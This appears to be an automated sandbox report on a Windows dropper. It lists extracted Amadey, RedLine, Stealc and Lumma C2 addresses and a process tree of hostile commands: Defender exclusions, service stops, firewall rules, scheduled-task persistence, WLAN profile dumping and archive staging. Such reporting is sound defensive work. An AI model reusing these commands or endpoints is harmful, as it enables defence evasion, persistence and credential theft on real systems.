Analysis
-
max time kernel
300s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
22-04-2024 05:48
General
-
Target
b3913ee6a28e6ca1f3d226ff1f7d2c68028bb9f7c16b82105475e7155224668a.exe
-
Size
2.9MB
-
MD5
3c4127b40346e1bfcc2df12b027d120a
-
SHA1
0f9a40b9aa9035c09153a9a47135425ea1250bd4
-
SHA256
b3913ee6a28e6ca1f3d226ff1f7d2c68028bb9f7c16b82105475e7155224668a
-
SHA512
92d22cf914b9c5c8c5448bb5df97bec499d028d051ce3018f81181ac624a2311c29531d446d40a2ae846294c0b5aab8a3d956bcf7354dd1c30d201d83aa00209
-
SSDEEP
49152:dj7FAVCDcnMoUZtuDRTqVp9mN3W5B/bs7qLuL:d1AVCDcnMoUZtuDqkiB/CL
Malware Config
Extracted
amadey
4.18
http://193.233.132.56
-
install_dir
09fd851a4f
-
install_file
explorha.exe
-
strings_key
443351145ece4966ded809641c77cfa8
-
url_paths
/Pneh2sXQk0/index.php
Extracted
amadey
4.17
http://193.233.132.167
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
Extracted
redline
@OLEH_PSP
185.172.128.33:8970
Extracted
redline
LiveTraffic
4.184.225.183:30592
Extracted
stealc
http://52.143.157.84
-
url_path
/c73eed764cc59dcb.php
Extracted
lumma
https://affordcharmcropwo.shop/api
https://cleartotalfisherwo.shop/api
https://worryfillvolcawoi.shop/api
https://enthusiasimtitleow.shop/api
https://dismissalcylinderhostw.shop/api
https://diskretainvigorousiw.shop/api
https://communicationgenerwo.shop/api
https://pillowbrocccolipe.shop/api
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detect ZGRat V1 1 IoCs
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Lumma Stealer
An infostealer written in C++ first seen in August 2022.
-
Modifies firewall policy service 2 TTPs 1 IoCs
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 4 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
Stealc
Stealc is an infostealer written in C++.
-
UAC bypass 3 TTPs 1 IoCs
-
Windows security bypass 2 TTPs 7 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 12 IoCs
-
Blocklisted process makes network request 6 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 24 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Executes dropped EXE 40 IoCs
-
Identifies Wine through registry keys 2 TTPs 11 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 14 IoCs
-
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
-
Windows security modification 2 TTPs 7 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
-
Drops file in System32 directory 15 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
-
Suspicious use of SetThreadContext 11 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 6 IoCs
-
Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 2 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 3 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 1 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\b3913ee6a28e6ca1f3d226ff1f7d2c68028bb9f7c16b82105475e7155224668a.exe"C:\Users\Admin\AppData\Local\Temp\b3913ee6a28e6ca1f3d226ff1f7d2c68028bb9f7c16b82105475e7155224668a.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000055001\1854307fae.exe"C:\Users\Admin\AppData\Local\Temp\1000055001\1854307fae.exe"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account4⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fff12d89758,0x7fff12d89768,0x7fff12d897785⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1360 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:25⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1816 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2084 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3056 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3084 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4404 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3276 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4636 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4648 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5108 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5260 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4808 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4812 --field-trial-handle=1868,i,5845572995340213799,12204783848993598240,131072 /prefetch:85⤵
-
C:\Users\Admin\AppData\Local\Temp\1000056001\83495a94e8.exe"C:\Users\Admin\AppData\Local\Temp\1000056001\83495a94e8.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main3⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\968772205171_Desktop.zip' -CompressionLevel Optimal5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000059001\amert.exe"C:\Users\Admin\AppData\Local\Temp\1000059001\amert.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 8283⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe"C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u4n4.0.exe"C:\Users\Admin\AppData\Local\Temp\u4n4.0.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\Uninstallcheck_alpha\ptInst.exeC:\Users\Admin\AppData\Local\Temp\Uninstallcheck_alpha\ptInst.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Uninstallcheck_alpha\ptInst.exeC:\Users\Admin\AppData\Roaming\Uninstallcheck_alpha\ptInst.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\u4n4.1.exe"C:\Users\Admin\AppData\Local\Temp\u4n4.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
-
C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 4964⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"4⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe"C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe"3⤵
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exe" -Force4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exe"C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exe"3⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
